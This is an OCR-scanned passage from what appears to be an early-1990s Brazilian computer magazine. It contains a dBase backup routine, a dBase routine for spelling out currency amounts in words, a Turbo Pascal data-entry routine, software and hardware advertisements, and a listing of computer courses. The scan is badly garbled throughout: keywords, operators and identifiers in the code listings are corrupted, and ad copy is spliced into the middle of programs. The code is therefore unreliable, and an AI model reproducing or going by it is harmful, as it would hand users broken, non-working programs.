8 4.4 CLEAB TO 21.TÍ 
8 7.10 SAY ' BACKCP DE SEGURANÇA * 
o 9ô!0oS*í *?sta e;c3c torvo para fazer copi 1 torvo para fazer copias de segarancs Jos arcai vos 
! 11 1Q |ÍJ • í- dadr Í° 5ADFDK- Para v<>ce Jevc possui? um' 
! ívin til V di2CO de ^*ckuP ° Wiivo de dados • FUNC. D3F>. ' t }?'}S Í»v ■ 006 dev*.indica£ luol o drive cndo esta o dir.co d-, backup' 
! Hl . • GO®íir“r Teole CA: J c.i fB: ] o o computador íara 
J 23.5 SAY S?ACEtâ7oí>,WtlCaB'eRt6 ° backup du '-°3ura»ca. * 

?*?34LS5Trt^PEBTB ALG0 ?ASA C0^IN0AR 00 Cf21 PA2A SAIR' --- Ltaiüs Url 
TK*I.NKSYi 0> 
SET CURSOR ON 
IF TK=-1 

LOOP 
ELSE 

0 23.5 SAY SPACEI C7> 
NDRIVSr' : ' 

READ*25 SAY QDAL ° ?aiVE DESEJAD0: ' GET NDRIVE VALIIMNDRIVE»'A: B: ') 
SET COLOR TO H/R 

?^3rmrÍAírt*C0L0Qt,E 0 DISC0 DE •BACK0P «O DRIVE '♦NDRIVE 

□OMIIMIO PUBLICO 
SHAREWARE • PC-XT E COMPATÍVEIS 

informe qual o seu equipamento 

PROCESSADORES DE TEXTOS 

PLANILHAS 

BANCO DE DADOS 

UTILITÁRIOS PARA IMPRESSÃO 

TUTORIAIS EDUCATIVOS 

GRÁFICOS 

CIÊNCIAS E MATEMÁTICOS 

COMERCIAIS/FINANCEIROS i 

ANTI-VÍRUS 

JOGOS 

DESKTOP MANAGER 

GERENCIAMENTO DE PROJETOS 

SOLICITE CATALOGO COMPLETO 

(011)743-4143 
JAMSOFT INFORMÁTICA Rua Boa Vista, 364 - CEP 09570 - São Caetano do Sul-SP 



Converta valores numéricos para extenso 

Micro: IBM PC/XT 

Memória: 512 Kbytes 

Convext: Vídeo: CGA 

Linguagem: dBase III 

conversor numérico Requisitos: Nenhum 

□ Marco Antônio de Faria Costa 

Convext é uma rotina de conversão de valores em extenso 
elaborada em dBase lll/FOX/CLIPPER que poderá ser facil¬ 
mente anexada a qualquer sistema que necessite deste tipo 
de conversão. Para utilização da rotina deve-se inicializar a 
variável EXT no programa principal (EXT=" "), armazenar 

o valor desejado na variável VALOR (máximo de 9 casas in¬ 
teiras e duas decimais) e executar a rotina de conversão (DO 
CONVEXT). O resultado retornará dentro da variável EXT. 

MARCO ANTÔNIO DE FARIA COSTA é técnico em processa¬ 
mento de dados e Bacharel em Ciências Contábeis. Atualmente 
desenvolve implanta sistemas para a área comercial e para a 
de Construção Civil. Programa em dBase, Cobol, Lotus e WS. 

• Rotina: CONVEXT 

B17""Dezesete" V1-SUBSTR(STR<VAL0R,1S,E>, 1,3) 
B18-"0ezolto" Ve-8UBSTR<STR<VALOR, 12,E> , 4,3) 

B6-"Sei«" Bi9n"Dezenove1 V3™íiUB8TR (STR< VALOR,1£,2 >,7,3) 

B7="Sete“ C£“"Vlnte" V4-" "+SUBSTR(STR< VALOR,12,2),11,E) 
C3»"Trinta" 

B9° "Nove " C4-"Q'jaranta" 

B10“"0az" C5»"Cinquenta" 

Bii-"Onw" C6""Sessenta" 

B12""0oza" C7-"Setenta" 

B13""Treze" 
C9-"Noventa" 

P-i DO WHILE VAL(SUBSTR<VA,1,1))HO 

B3-"Trc«“ STO-O IF VAL<SUBSTR<VA,1,1))=CT 

SOLAR INFORMÁTICA 
PC MSX NINTENDO 

ALUGUEL E VENDA DE 

CARTUCHOS EVIDEOGAMES 

PROMOÇÕES 

COMPRAS FEITAS 

PESSOALMENTE 10% 

DE DESCONTO 

— ENTREGAMOSADOMICÍLIO EM SÃO PAULO — 

CARTAS: Caixa Postal 11743 CEP 05090 - São Paulo - SP FONE 260-5624 

• JOGOS E APLICATIVOS — • JOGOS APLICATIVOS E UTILITÁRIOS 

• PREÇOS BAIXOS • NOVIDADES DO JAPÃO E EUROPA 

• PROGRAMAS INTELIGENTES • HARDVVARES 

• DESENVOLVIMENTO DE SISTEMAS •TRANSFORMAÇÃO 2.0 

• CLUB MASTER PC • MELHORES PREÇOS 

SOLICITE CATÁLOGO GRÁTIS 



1F STG-i 
IF PH A 

CONEC=", ' 
ELSE 

CQNEC*” c " 
ENOIF 

ENOIF 
EXTi*"A"+STR<CT,i,0> 

IFTÍaL<SUBSTK(VA,1,1>»=íAND.VAL(SUBSTR(VA,2,2>>II0 
EXTl“"Cento" 

ENOIF 
IF STG*0 

EXT=EXT+EXTi 
ELSE 

EXT=EXT+CONEC+EXTi 
ENOIF 
STi“i 
EXir 

ENOIF 
CT-CT+i 
IF CT-10 

EXIT 
ENOIF 

ENOOO 

DO UHILE VAL (SUBSTR (VA,2,1))MO.AND VAL(SUBSTR(VA,S«i)>Hi 
IF VAL<SUBSrR<VA,2,l)>'-CT 

EXTÍ*MC“+STR<CT, i,O) 
IF STl-O.ANO.STO-O 

EXT-EXT+AEXT1 
ELSE 

EXT-EXT+" e "♦SEXTí 
ENOIF 
ST2=i 
EXIT 

ENOIF 
CT-CT+i 
IF CT-iO 

EXIT 
ENOIF 

ENOOO 
CT-IO 
DO WHILE VAL<SUBSTR (V A, 2,1) >" i 

IF VAL(SUBSTR(VA,2,2))“CT 
EXT1-"B"*LTRIM(STR(CT,2,0>) 
IF 5T1-0 . ANO . ST2-0 . ANO . STG*0 

EXT-EXT+AEXT1 
ELSE 

EXT-EXT+" c "+4EXT1 
ENOIF 
ST3»1 
EXIT 

ENOIF 
CT-CT+i 
IF CT-20 

EXIT 
ENOIF 

ENOOO 

DO WHILE VAL<SUBSTR(VA,2,i> >"0.OR.VAL(SUBSTR(VA,2,i))Mi 
IF VAL(SUBSTR(VA,3,1))"CT 

EXT1"''B"*LTRIM(STR(CT,2,0)) 
IF ST1-0.AMO.ST2-0.ANO.ST0*0 

EXT-EXT+SEXTi 
ELSE 

EXT-EXT*" e "♦4EXTI 
ENOIF 
8T3"i 
EXIT 

ENOIF 
CT-CT+i 
IF CT-iO 

EXIT 
ENOIF 

ENODO 
IF ST1-1 0R.ST2-1.0R.ST3-* OR . (P*3 . AND . IN T( VALOR) HO) 

IF P»i 
IF VAL(VA)*1 

EXT-EXT*" Nilhao" 
ELSE 

KXT-EXT+" Hilhoes" 
ENOIF 

ENOIF 
IF P“2 

EXT-EXT+" Mí 1" 
ENOIF 
IF P=>3 

IF INT(VALOR>*1 
EXT^EXT*" Cruzeiro" 

ELSE 
EXT=EXT+" Cruzeiros" 

ENOIF 
ENOIF 
IF P»4 

IF VAL <VA >*í 
EXT=EXT+" Centavo" 
ELSE 
EXT-EXT+“ Centavos" 

ENOIF 
ENOIF 
S TO“i 

ENOIF 
P“P+1 

ENODO 
EXT—EXT* ">" 
RETURN 
SET TAl.K OFF 
CLEAR 
EXT*"" 
VAL0R=12345678V.12 
DO CONVEXT 
? EXT 
RETURN 

Tecnologia Eletrônica 

SOLUÇÃO INTEGRADA 

■ consultoria 
■venda, equipamentos & suprimentos 
■ assistência técnica 
■ contratos & avulsos 
■ representação de software 
■ desenvolvimento de sistemas 

ADAPTADOR DE TV PARA MONITOR 

• TRANSFORMA O SEU TELEVISOR EM UM 
MONITOR COLORIDO PADRÃO CGA, 
COM EXCELENTE DESEMPENHO 

NÃO NECESSITA DE MODIFICAÇÕES NO MICRO NEM NO TELEVISOR. 

CONFIRA! PROMOÇÃO ESPECIAL DE LANÇAMENTO 

Av. Presidente Kennedy, 213 CEP 24500 - São Gonçalo - RJ 

TELE-PLAnTAO SABADP E POMinAO. TEL: < 021 > 577-574S. 
SUA EUAEI5T0 PA UEIAA 35/417 CEÍ1TEP - EJ. CEP: 20031 
PE 2í A Si DAS $> AS 13 Hí.SABAPPS ATE AS 14 HPEAS. 
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ROTINA 

Melhore a entrada de dados em seus programas PC 

Uma 
para 

nova opção 
o INPUT 

Micro: IBM PC/XT 

Memória: 512 Kbytes 

Vídeo: CGA 

Linguagem: Turbo Pascal 

Requisitos: Nenhum 

□ Selmo Luiz Bergamim 

0 programa INPUT.PAS é uma ro¬ 

tina de digitação semelhante a do 
bBase III Plus e Clipper. Semelhante, 

mas não igual. 
Quando usamos o comando de en¬ 

trada de dados do TURBO PASCAL 
(Read e ReadLn) não temos muitos 
recursos para digitar as informações. 
Se você tiver que usar três entradas 
elas são disparadas uma de cada vez, 

se estiver na segunda entrada e pre¬ 
cisar retornar à primeira é impossível, 
e se precisar de uma filtragem de da¬ 
dos também é impossível. Foi pen¬ 
sando nisso que resolvi criar uma ro¬ 

tina de digitação para Turbo Pascal 
semelhante a do dBase III Plus e Clip¬ 
per S'87. Com a rotina “tudo fica 
possível de ser feito" nas entradas de 
dados. O uso da rotina é muito sim¬ 
ples, e para quem conhece o dBase 
II Plus fica mais simples ainda. 

A rotina de digitação é composta 
por duas procedures, a InputXY e Re- 

adlnput. A procedure InputXY é uma 
definição do a...GET do dBase II Plus. 
Com ela você marca as entradas de 
dados e as filtragens a serem feitas. 
A sintaxe da procedure InputXY é a 

seguinte: 

InputXY {Coluna , linha : Integer; 
String a editar: String; Tipo : Char) 

Exemplo: 

A entrada será posicionada na 
coluna 10, linha 5, o texto a ser 
editado é "Rotina de digitação" 
e filtragem do tipo "C" (Qual¬ 
quer caracter). 

• Rotina: INPUT.PAS 

<* 
{• Projeto e programação : Selmo Luiz Bergamin 
í* 
(« Programa : Input.Pas Data Criaçao s 05 - Novembro - 1990 
(* Linguagem utilizada s Turbo Pascal Versão 4.0 
<• 
{* A função deste programa e criar uma rotina de digitaçao semelhante a 
{* do dBase III Plus ou Clipper S’87. 
(* E outra funções de muita utilidade na programaçao. 

<« 

Program Input_Berga; 

Crt, 
Dos, 
Printer; 

Var F, A, W, Z, 
Sorador i Integer; 
Textos i ArrayCl..150] of StringC2003; 
Tipo : ArrayCl..1503 of Char; 
XCol, X1ín j ArrayCl..130) Of Integer; 
Caract : Char; 

Function Existí S i String) s Boolean; 

Var Arquivo j Text; 

Begin 
AssigníArquivo.S); 
(*I-> 
ResetlArquivo)| 
(*I + > 
if lOResult <> 0 then Exist False else 

Begin 
CloseíArquivo); 
Exist :* True; 

End; 
End; 

{«*m**m*nim*ni»imni*i****i*iM*imi*mmi*»***»*******”*«*****) 
Function Date : String; 
Var Strl,Str2,Str3 : StringC2D; 

DD.MM.AA.CC : Word; 
Begin 

GetDate(AA,nn,DD,CC); AA := AA - 1900; 
StríDD : 2,Strl); Str(MM : 2,Str2); Str(AA : 2,Str3)| 
if strl[13 = *32 then strltlD := ’ 0' * 
if str2C13 - *32 then str2C13 :« '0'í 
if str2Cl) = *32 then str2C13 := *0 J 
Date := Strl + '/* * Str2 ♦ '/* +Str3; 

End; 

Function SpaceíNum : Integer) : String; 
Var Conter : Integer; 

Espaço : String; 
Begin 

Espaço :• * 
For Conter := 0 to (Num - 1) do Espaço := Espaço * *3£: 
Space «■ Espaço; 
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Begin 
Reg.AH := *30; 
Intrí *21, Reg); 
Str( Reg.AL:1, VP); 
Str( Reg.AH:2, VS) ; 
VersionDos := VP * 

Begin 
WindOM(Col1,Linl,Cc 
ClrScr; 
Window(1,1,80,25)i 

Var Posicao , : 

Begin 
C := Col - 1; L : = Lin - 1; Po*icao (L * S 
for X :* 0 to (Length(Mensage) - 1) do 

Mem[*B800:(Posicao + X) t 2] := Ord(MensageCX 
End; 

L : Integer; 

ÜOtOXY is>,t»; 
Write ('Editar 
InputXYdO, 5, 'Rotina de digi¬ 

tação ', 'C'); 

Ao chamar a procedure InputXY, 
o texto será exibido na posição defi¬ 
nida com o fundo azul e as letras em 

branco brilhante. A procedure Readln- 
put é definida como o READ do 
dBase II Plus. Ela edita os textos de 
acordo com a ordem de chamada, mas 
você pode andar com o cursor pelas 
entradas de dados como o dBase II 

Plus. 
Ainda será possível usar modo de 

inserção, tecla DEL e BACKSPACE, e 

a tecla ESCape abandona de uma só 
vez todas as entradas. 

COMO USAR 

MSX/PC 

Quando você for usar a rotina de 
digitação, deve definir as variáveis 

GLOBAIS a seguir: 

Textos : Array[1..150] of String; 
Tipo : Array[1..150] of Char; 
Wcol, Wlin : Array[1..150] of Integer; 
Somador : Integer. 

Estas variáveis serão usadas pela 
rotina. Veja agora as variáveis em de¬ 

talhe: 
Array Textos - guarda os textos 

editados. Quando você chama a pro¬ 
cedure InputXY o texto que foi pas¬ 

sado para ela fica guardado na Array 
Textos de acordo com as chamadas, 
para ser editado pela procedure Rea- 
dlnput. 

Array Tipo - guarda o tipo de fil 
tragem a ser efetuado. 

Array Wcol e WLin - guardam a 

coluna e a linha em que ficarão as 
entradas. 

Variável Somador - guarda quan¬ 

tas entradas forem acionadas. 
Observação: quando for usar pela 

primeira vez a rotina dentro de um 
programa você deve zerar a variável 
Somador. 

Veja agora a tabela de filtragem : ^ 

(ittmiiiMimmmiiiiiiiiimiiiiiitmmmittmtiiiiiiiimmnimi} 
Procedure Box( Coll , Linl , Col2 , Lin2 , Tip x Integer ); 

Const LínHor : array[1..3] of Integer = ( 196 , 205 , 219 ); 
LinVer s arrayC1..3] of Integer - ( 179 , 186 , 219 ); 
CSEtiq x arrayC1..3] of Integer » ( 218 , 201 , 219 ); 
CSDir : arrayCl..33 of Integer - ( 191 , 187 , 219 ); 
CIEsq i arrayC1..33 of Integer - ( 192 , 200 , 219 ); 
CIDir i arrayC1..3] of Integer - ( 217 , 188 , 219 ); 

Var Pl, P2, P3, P4, 
Cl, Ll, C2, L2, 
X I Integer; 

Begin 
Cl x- Coll - 1; 
Ll i- Linl - 1; 
C2 !- Co12 - 1; 
L2 x- Lin2 - 1; 
Pl s- (Ll « 80) ♦ Cl; 
P2 (Ll * 80) C2; 
P3 :■ (L2 « 80) ♦ Cl; 
P4 (L2 * 80) ♦ C2; 
Mem[*B800:Pl*2J :■ CSE*qCTip]; 
MemC*B800:P2*2] s- CSDirCTip]; 
Mem[*B800:P3*2] CIEoqCTipJ; 
l*1em[*B800:P4«2] x- CIDir[Tip]; 
for X x- (Pl + D to (P2 - 1) do MemC*B800:X*23 x- LinHor[Tip]; 
for X i* (P3 ♦ 1) to (P4 - 1) do Mem[*B800xX«23 s- LinHorCTip]; 
X x- Pl; 
While X < (P3 - 80) do 
Begin 

X x- X * 80; 
Mem[*BB00xXt2] x- LinVerCTip]; 

End; 
X x- P2; 
While X < (P4 - 80) do 
Begin 

X x- X * 80; 
Mem[*B800xX»2] x= LinVerCTip]; 

End; 
End; 

Procedure Cursor( Inicio, Fim : Integer ); 

Var Reg : Registers; 

Begin 
Reg.AH := *01; 
Reg.CH Inicio; 
Reg.CL := Fim; 
Intr( *10, Reg); 

End; 

NA BAHIA JATEM NOME: UMASOpT 

• DRIVES 51/4 E 3 1/2 «JOYSTICK «PROGRAMAS 
«MEGARAM «FILTRO DE UNHA «MONITORES 
• LIVROS E REVISTAS • ARQUIVOS P/10, 50 E 100 DISQUETES \ V 
•IMPRESSORAS «SUPRIMENTOS 

RUA MATO GROSSO N98 SALA 305, ED.GEOCENTER PITUBA, CER 41830-TEL (071) 248-7136 



Símbolo Descricão 

'C' Entra qualquer caracter. 

'A Entra de 'A' at 'Z' minúscu 
la ou maiuscula. 

Entra de 'A' at 'Z' só mai¬ 

uscula 

'S' Entra de 'A' at 'Z' minúscu 
la ou maiuscula e espaço. 

Entra qualquer caracter e 

minúsculas só transforma¬ 
das em maiúsculas. 

'N' Entra números, ponto (.) e 

sinal de menos (-). 

'9' Entra só números. 

'D' 

'L Entra apenas 'S' ou 'N', 
maiúsculo ou minúsculo. 

USO DA ROTINA 

Você deve definir todas as entradas 
com a procedure InputXY e, após de¬ 

finir, deve chamar a procedure Read 
Input. Observe o Exemplo: 

Somador :=0; 
GotoXYI 5, 5);s 

Você pode 
anunciar 
em 
Micro 
Sistemas 

INFORME-SE 
JÁ 

SP: (011)852-8617 

RJ: (021)232-0653 

Procedure InputXY( Coluna. Linha : Integer; Texto : String. 

3egj.n 
Somador :■ Somador + 1; 
TextostSomaQor] := Texto; 
Tipo[Somador3 := UpCase(WTipo)? 
XCcl[Somador] := Coluna; 
X1in[Somador3 := Linha; 
TextColorl15);Text3ackground(1); 
GotoXYiColuna.LinhaJ;Write(Te«to); 
Te*tColor(7);Te»tBackground(0); 

End; 

Char ); 

Procecure Readlnput; 

Var Iní.ch, 
CTRL ! Char; 
X, Reg, 
Len, DD, 

K, U : Integer; 
Mensage x String; 

Ins :» «B: Reg := 1| * != 11 
Te,tcolor(151;Te,tBackground(1), 
Reoeat 

Len :* Length(Textos'Regl) ; 
GotoXV(xCol[Reg3.x!in[Reg 3); 
üoto*Y{ CXCoUReg3*X)-l#Xl 
Ch :» ReadKey; 
Case Ch of 

«0 : Beçin 
CTRL Hl: 
Ch :■ ReadKey; 
Case Ch of 

'R‘ : Begin 
Ch Hl; 
Case Ins of 

■0 s Begin 

:e(Textos[Reg3) 

GotoXY(60,0«)iWrit 
Ins x- *1; 

End | 
Begin 

GotoXY(60.04);Writ 
Ins x- -0; 

End» 

if X > 1 then 
Begin 

Ch x- *1; 
End; 
jf X < Len then 
Begin 

X «■ X ♦ 1| 
Ch i- nu 

End; 
Begin 

DeletelTextos[Reg3,X,1); 
Textos[Reg3 :» Textos[Reg3 
Ch i- *1; 

End; 
: if Reg > 1 then 

Begin 
Reg s- Reg - 1; 

Ch x ■ 
End; 
if Reg 
Begin 

Reg x 

»i; 

End; 
End; 
: if Reg < 

Begin 
Ch :« 
Reg :« 
X := 1 

End; 
: Begin 

Reg : = 

Somador then 

Begin 
Delete(Textos(Reg3,X-l.1)s 
TextosURegJ := TCxtos[Reg] 

End; 
if CTRL = 
Begm 

CTRL :* 

Case TipoíRegl of D* : Begin 

(Ch > 0 

0)o r 

and (Ch < -9 .) then Ch := *0; 

(Ch «■ ' . ' ) then 't&í? Ch 
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' ) th*n Ch := **0: 

'L' : Begin 
Ch := UpCase(Ch); 
if CCh <> S-) or (Cf 

End; 
9' : if (Ch < 0-) or (Ch > '9') then Ch := »Z; 
A' : if (Ch < A) cr- (Ch > *2 ) th*n 

if (Ch < a) or (Ch > z') then Ch := *0; 
' : Segin 

Ch := UpCase(Ch); 
if (Ch < A') or (Ch > Z) then Ch := #0; 

End; 
; if (Ch < -A) or (Ch > 'Z) then 

if (Ch < ‘a") or (Ch > 'z') then 
if Ch <> **32 then Ch :* «0; 

&• : Ch := UpCase(Ch); 

if Ch •31 
of 

**1 : Begin 
In*ert(Ch, TextosEReg],X); 
Textos[Reg] := Copy(TextosCReg],1,len); 
if X < Len then X x + 1; 

End; 
#0 : Begin 

Mensage ;= TextosCReg]; 
MensageC X] := Ch; 
Textos[Reg] :■ Mensage; 
if X < Len then X := X * 1; 

End; 
End j 

Until Ch = #13; 
TextColor(7) ;TextBacl<ground(0) ; 
GotoXY(60•04);Wrí te(' ’); 
Somador :■ 0; 

End; 

( Programa Prioncipal ) 

{ 0 programa principal nao tem nenhuma finalidade especial, somente 
demostrar a funções escritas acima. > 

Begin 
Somador *■ 0; 
Cursor( 0, 7); 
ClrScri 
Box( 01, 01, 60, 03, 02); 
WríteXY( 14, 2, •Demonstração de funções para TurOo Pascal Versão 4.0 '); 
Bu«( 01, 03, 80, 18, 01); 
Box( 01, 23. 60, 23, 01); 
Box( 01, 20, 00. 25, 02); 
WriteXYí 3, 24, *Desenvolvido por; Selmo Luiz Bergamin * Fone; (0172) 42-4007 

* Mirassol * SP >; 
Wr1teXY( 44, 22, Voe» está usando MS-DOS versão •♦VersionDos); 
WriteXY( 3, 21, Entre com as informações solicitadas! Usea as setas p/ movime 

ntar o cursor’); 
WriteXY( 3, 7, Nome.. 
WriteXY( 3, 9, Endereço.*•>; 
Wri teXY ( 3, 11, Bairro.;'); 
WriteXY( 3, 13, ' Cep.:')j 
WriteXY( 3, 13, 'Cidade.;'); 
WriteXY( 43, 13, 'Estado; 
WriteXY( 45, 13. Fone.' ); 
InputXY( 22, 7, Space(30>, • ); 
InputXY( 22, 9, Space(30), C')j 
InputXY( 22, 11, Space(20), C); 
InputXY( 22, 13, Space(03), ’9); 
InputXY( 22, 13, Space(20), A); 
InputXY( 56, 13, Space(02). '!'); 
InputXY( 36, 13, SpacedS), *C*)| 
Readlnput; 
WriteXY( 3, 21, Space(76))j 
GotoXY( 3, 21); 
Write('Tecle (Enter) para continuar.’)j 
Repeat Until ReadKey - #13; 
ClearBox( 02, 06, 79, 17); 
Cursor( 6, 7); 
WriteXY( 3, 21, 'Mostrando as informações digitadas.'); 
WriteXY( 3. 7, 'Nome : '*Textos[13); 
WriteXY( 5, 9, 'Endereço ; '♦TextosC23); 
WriteXY( 3, 11, 'Bairro : '+Textos[3]); 
WriteXY( 5, 13, 'Cep s ' ♦TextosC'»3 ); 
WriteXY( 3, 15, Cidade ; '♦TextosCS]); 
WriteXY( 45, 13, Estado ; '*Textos[6]); 
WriteXY( 43, 13, 'Fone ; '*TextosC7J); 
WriteXY( 3, 21, Space(76)); 
GotoXY( 3, 21); 
Write('Tecle (Enter) para continuar.'); 
Repeat Until ReadKey = #13; 
ClrScr; 

Write('Nome 
InputXY! 10, 5, ' 
GotoXY! '5, 7); 

Write('Data :'); 
InputXY! 10, 7, ' 
Readlnput; 

'&); 

/ / 'D'); 

O nome retornará na Textostl] e a 
data Textos[2]. 

Além da rotina de digitação tam¬ 
bém há outras interessantes. Outras 
funções e procedure incluídos no pro¬ 
grama INPUT.PAS. 

Box! Cl, LI, C2, L2, Tipo : Integer) (P) 
Cria uma moldura no vídeo, sim¬ 
ples, dupla ou grossa. 

ClearBox! a, LI, C2, L2.: Integer) (p) 

Limpa uma determinada área no 
vídeo. 

Cursordnicio, Fim : Integer) (P) 
Modifica o cursor. Início = 6, 

Fim = 7 , padrão do DOS. 
Date : String (F) 

Retorna a data do sistema 
(DD/MM/AA). 

Space! N : Integer ) : String (F) 

Retorna o número de espaço 
contido em N. 

VersionDos : String (F) 
Retorna a versão do MS-DOS 
corrente. 

Exist! S : String ) : Boolean 

Verifica a existência de um ar¬ 
quivo. 

WriteXY! Col, Lin : integer; MSG : 
String ) (P) 

Escreve no vídeo, na posição es¬ 
pecificada, uma mensagem sem 
passar pela interrupção do DOS. 
Vai direto para a memória de ví¬ 

deo ($B800:$0000) 

A rotina de digitação e as demais 
funções e procedimentos estão de¬ 
monstradas no programa INPUT.PAS. 

SELMO LUIZ BERGAMIN é Programador 
e Instrutor de Computação. Fez curso de 
Programação e programa em Turbo Basic. 
Turbo Pascal, dBase III Plus e Turbo C. 

PHDBDS inFDRfílftTlCfl 
UM COMPROMISSO COM O FUTURO 

• MICROCOMPUTADORES 
• IMPRESSORAS 
• ESTABILIZADORES 
• NO BREAK 

• GABINETES 
• PLACAS 
• TECLADOS 
• DRIVES 

PREÇOS ESPECIAIS 
PARA REVENDEDORES 
DESPACHAMOS PARA 
TODO 0 BRASIL 

FONTES 

SUPRIMENTOS 
TODA LINHA MSX 
ASSISTÊNCIA TÉCNICA 

PC-XT 
PH0BOS-704K 

PHOBOS INFORMÁTICA Rua da Conceição,132 - 2 o andar - Niterói-RJ - Tels.: (021)718-3527/717-5431 



AGENDA 
CURSOS DE FÉRIAS 

Rio de Janeiro 

□ A Microcenter está oferecendo, no Rio 
de Janeiro, cursos de: digitação, Basic, Lo¬ 
tus 1-2-3, dBase III Plus e Wordstar, para 
o período de janeiro a março, com descon¬ 
tos de 30%. Cada curso tem a duração de 
um mês, com aulas diárias de uma hora 
de duração, de segunda a sexta feira. Os 
cursos começam sempre às quartas feiras. 
Outras informações pelo tel: (021) 
255-2545. 

□ A Crystalbit programou cursos de verão, 
a serem ministrados no Rio de Janeiro, com 
início em janeiro e término em fevereiro de 
91. os cursos são os seguintes: 

- Introdução a informática; MS-DOS; 
Wordstar; dBase III Plus; Cobol; Basic; Lo¬ 
tus 1-2-3 e Pascal. 

- Modelagem de dados; Estrutura de ar¬ 
quivos e Banco de Dados. 

Informações pelo tel: (021) 294-3517. 

□ O GRUPO INE-RJ (Instituto Nacional de 
Especialização), comunica a abertura de 
vagas para cursos de Informática no pe¬ 
ríodo de janeiro a março/91, no Rio de Ja¬ 
neiro, conforme descrição abaixo: 
- Operação de Micros para Secretárias 
-11/01/91 (sexta feira - noite) 
- Programação Basic - 07/01/91 (segunda, 
quarta e sexta - noite) 
- Programação Basic - 05/01/91 (sabados 

- tarde) 
- Lotus 1-2-3 - Interativo - 19/01/91 (sába¬ 

dos - manhã) 
- MS/DOS - Sistema Operacional - 05/01/91 

(sábados - tarde) 
- MS/DOS - Sistema Operacional - 04/01/91 
(sexta feira - tarde) 
- Wordstar - Editor de Texto - 05/01/91 (sá¬ 
bados - tarde) 
- Wordstar - Editor de Texto - 07/01/91 (se¬ 
gunda, quarta e sexta - noite) 
- Wordstar - Editor de Texto - 08/01/91 (terça 

e quinta - noite) 
- dBase III Plus - Programado -10/01/91 (sá¬ 
bados - manhã) 
- Pacotes Completos - 21/01/91 (segunda, 
quarta e sexta - manhã) 
- Pacotes Completos - 21/01/91 (segunda, 
quarta e sexta - tarde) 
- Pacotes Completos - 26/02/91 (terça e 
quinta - manhã) 
- Pacotes Completos - 26/02/91 (terça e 

quinta - tarde) 
Os pacotes completos incluirão os cur¬ 

sos completos de MS/DOS, Lotus 1-2-3, 
Wordstar e dBase III Plus Interativo. 

Todos os cursos terão limite de 10 alu¬ 
nos por turma e serão interamente práti¬ 

cos, garantindo assim um bom rendimento 
do programa aplicado. 0 INE oferece con¬ 
dições especiais de pagamento e certifi¬ 
cados de conclusão após a aprovaçao final. 

Contatos para informações pelos tels: 
(021) 220-3863 e 262-4158. 

□ A H.O. Informática está promovendo cur¬ 
sos de verão dirigidos a crianças, para ja¬ 
neiro e fevereiro de 91, a serem ministra¬ 
dos no Rio de Janeiro. 

Os cursos serão oferecidos para peque¬ 
nas turmas, com um equipamento dispo¬ 
nível para cada aluno, e estão organizados 
do seguinte modo: 

Cursos de verão para iniciantes: 
-Introdução a informática através da lin¬ 

guagem Logo; 
-Introdução a informática através da lin¬ 

guagem Basic. 

Oficinas de verão para alunos H.O.: 
-Computador e vídeo; 
-Estórias por computador; 
-Logo; 
-Basic. 
Outras informações pelo tel: (021) 

325-0640. 

□ O Centro de Informática de Niterói co¬ 
loca à disposição dos interessados, um pa¬ 
cote de treinamento para o período de 

verão. 
0 curso constará de: Iniciação ao dBase 

Iniciação ao DOS, Iniciação ao Lotus 1-2-3 
e Iniciação ao WòrdStar (ou Carta Certa op¬ 

cional). 
Com início em janeiro de 91 e duração 

de quatro meses. Informações pelo tel: 
(021) 722-7500 

□ A DBMS Informática Ltda está com ins¬ 
crições abertas para o curso de Editoração 
Eletrônica usando o Ventura, que propõe 
não só o ensino da ferramenta computa¬ 
cional, mas também o uso de técnicas de 
editoração independente do computador. 

O curso tem início previsto para 
04/02/91, no Rio de Janeiro, e duração de 
um mês. Os tópicos são os seguintes: 

- Princípios básicos de Layout: 
Tipos - 0 Sistema Tipográfico; Cálculo 

do manuscrito; Colocando o tipo na página. 
A técnica de Layout - Unidade e con¬ 

traste; Plano de ação; Divisão de áreas. 
Meio de Propagação - Brochuras, livros 

e catálogos; Boletins e papéis de carta; 

Póster. 
Técnica de impressão. 
Ventura - Instalando; Montando a pá¬ 

gina; Usando os tipos; Usando os gráficos; 
Refinando o sistema; Espaçamento; Ende- 
taçòes e alinhamentos; Ferramentas grá¬ 
ficas; Criando boletins; Criando publicações 
longas; Criando outras aplicações; Dicas 
e truques. 

Contatos para informações pelo tel: 

(021) 262-6362 

□ 0 Centro Acol de Treinamento oferece, 
para o período de férias, os seguintes cur¬ 
sos no Rio de Janeiro: 

Janeiro: 
Introdução SCO Xenix - duração de 5 

dias, das 9:00 às 17h30min. Início 14/01/91 
Administração SCO Xenix - duração de 

5 dias, das 9:00 às 17h30min. Início 
12/01/90 

Fevereiro: 
Instrução SCO Xenix - duração de 5 dias, 

das 9:00 às 17h30min. Início 18/02/91 
Linguagem C - duração de 7 dias, das 

9:00 às 17h30min. Início 22/02/91 

Março: 
Introdução SCO Xenix - duração de 5 

dias, das 9:00 às 17h30min. Inicio 

11/03/91 
Administração SCO Xenix - duração 5 

dias, das 9:00 às 17h30min. Início 
18/03/91 

Maiores informações pelo tel: (021) 

224-2353. 

São Paulo 

□ A Servimec programou os seguintes cur¬ 
sos para jeneiro de 91, em São Paulo: 

- Introdutório e Sistemas Operacionais: 
Introdução a microinformática; MS DOS 
Operação Básica e MS DOS Operação Avan¬ 

çada. 
- Gerenciadores de Bancos de Dados: 

dBase III Plus Interativo; Dialog Plus C Bá¬ 
sico; Paradox Básico; Frontmnner Interativo; 
Frontrunner Programado; Frontmnner Avan¬ 
çado; dBase IV Básico; dBase IV Progra¬ 
mado; dBase III Plus Programado e dBase 
III Plus Avançado. 

- Processadores de Texto: Carta Certa 
III; MS-Word 5.0; MS-Word 4.0; WordPerfect 
5.0; Wordstar 5.0; Wordstar 2.000 Plus; 
Wordstar 4.0 Profissional e WordPerfect 4.2 

- Integrados: Framework III Básico e 
Symphony. 

- Planilhas Eletrónicas: Lotus 1-2-3 Bá¬ 
sico; Supercalc 4.0; Quattro Pro Básico; Su- 
percalc 5 Básico; WP-Planner Plus; Super¬ 
calc 5 Avançado; Lotus 1-2-3 Avançado e 
Quattro. 

- Linguagens: Clipper Summer 87; Pro¬ 
gramação com Turbo Pascal 5.0; Joiner 
-Compilador do dBase e Programando em 
Linguagem C 

Outras informações pelo tel: 

(011)222-1511. 
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míO ICI1 Informática e Editora Ltda 

Porque comprar um 
PRO KIT original? 

Em primeiro lugar, a PRO KIT é a única 
empresa de software para MSX que co¬ 
mercializa apenas os produtos que produz. 
Você pode achar pouco, mas pense bem: 
é impraticável dar suporte técnico quando 
